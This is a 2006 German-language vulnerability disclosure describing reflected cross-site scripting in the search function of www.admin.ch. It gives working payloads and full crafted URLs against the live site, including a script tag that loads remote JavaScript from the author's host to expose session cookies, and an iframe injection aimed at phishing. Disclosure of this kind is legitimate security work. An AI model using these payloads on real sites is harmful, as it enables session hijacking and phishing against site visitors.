admin.ch - XSS Vulnerabilities [Sicherheitslücke - Exploit]
descovered and published by Yannick von Arx, berne switzerland
yannick[dot]vonarx[at]yanux[dot]ch
Wednesday, July 05, 2006
Website: www.admin.ch
Hersteller: Schweizerische Eidgenossenschaft
Version: n/a
Remote: Ja
Klasse: Cross Site Scripting (XSS)
Erläuterung der Erkenntnisse und vorliegender Problematik:
=====
Die Webseite www.admin.ch repräsentiert die Schweizerische Eidgenossenschaft. Der Internetauftritt bietet eine Suchfunktion mit einer sogenannten Such-Engine an.
Die Such-Engine von www.admin.ch lässt sich zum ausführen von schädlichem Code missbrauchen. Der Angreifer kann eine Cross Site Scripting-Attacke durchführen, Cookies (falls vom Betreiber verwendet) seiner Opfer entführen und somit eine Session übernehmen. Hat der Angreifer einmal eine Session eines Besuchers übernommen, kann er unter dessen Namen aktivitäten ausführen. Zudem könnte ein Image-Schaden durch das einfügen von nicht angebrachten Inhalten in den Internetauftritt (zB. Phishing Angriff) zur Folge haben.
Als Proof of Concept (1) fügt man folgenden Code in das Suchfeld ein und bestätigt die Suchabfrage:
>"<script>alert(String.fromCharCode(80,114,111,111,102,32,111,102,32,67,111,110,99,101,112,116,33))</script>
Dieser Code wird von der Such-Engine nicht gefiltert und es wird folgendes ausgegeben:
Proof of Concept!
http://www.admin.ch/suchen/index.html?keywords=%3E%22%3Cscript%3Ealert%28String.fromCharCode%2880%2C11
4%2C111%2C111%2C102%2C32%2C111%2C102%2C32%2C67%2C111%2C110%2C99%2C101%2C112%2C116%2C33%29%29%3C%2Fscri
pt%3E&go_search=suchen&lang=de

Ein Angreifer könnte nun ein JavaScript-Dokument oder ein CGI (zB. xss.js, xss.cgi) ausführen welches das Cookie (falls vom Betreiber verwendet) des Besuchers speichert, sowie Code auf Anweisung eines fremden Servers ausführt, sobald dieser auf den präparierten Link geklickt resp. die präparierte Seite aufgerufen hat:
>"<script src=http://www.yanux.ch/xss.js></script>
Als Ergebniss das Pop-Up:
This is remote text via xss.js located at www.yanux.ch
PHPSESSID=994790395c162b2d48bb5b51e09c3a2d

http://www.admin.ch/suchen/index.html?lang=de&keywords=%3E%22%3Cscript+src%3Dhttp%3A%2F%2Fwww.yanux.ch%2
Fxss.js%3E%3C%2Fscript%3E&search_mode=AND&Submit=suchen
Nun führt der Angreifer ein Script aus welches ihm selbst das Cookie des Opfers setzt und die Session wurde erfolgreich übernommen (Session-Hijacking).
Als bildliches Beispiel kann eine fremde Internetseite in die der Universität Bern mit
>"<iframe src=http://www.google.ch width=600 height=450></script> integriert werden und mit weiteren HTML-Elementen, kann die integrierte Seite schön zentriert resp. ausgerichtet werden:
http://www.admin.ch/suchen/index.html?lang=de&keywords=%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.google.ch+
width%3D600+height%3D450%3E%3C%2Fscript%3E&search_mode=AND&Submit=suchen

Der von der Such-Engine nicht gefilterte Code müsste noch etwas ausgebessert werden, um die integrierte Seite, welche als Beispiel eine Phishing-Seite sein könnte optimal zu platzieren.
Was wäre wenn ein Angreifer eine präparierte Internetseite welche der Schweizerischen Eidgenossenschaft (www.admin.ch) sehr ähnlich sieht integriert und den offiziellen Link welcher als Domain www.admin.ch beinhaltet an seine Opfer sendet? Ein Schädling könnte ohne Probleme auf dem System des Opfers installiert und ausgeführt werden oder eine Session übernommen werden, sowie eine entferne Seite welche einen bestimmten Zweck erfüllt eingebunden werden.
Problemlösung:
=====
Zur Zeit liegt keine Lösung von www.admin.ch vor.
Das Wieso:
=====
Es gibt Computer-Spezialisten die ihr Wissen und Können nutzen um anderen zu Schaden! Jedoch gibt es auch solche die ihr Wissen und ihre Kenntnisse nutzen um die heutige Computer-Welt etwas sicherer zu machen.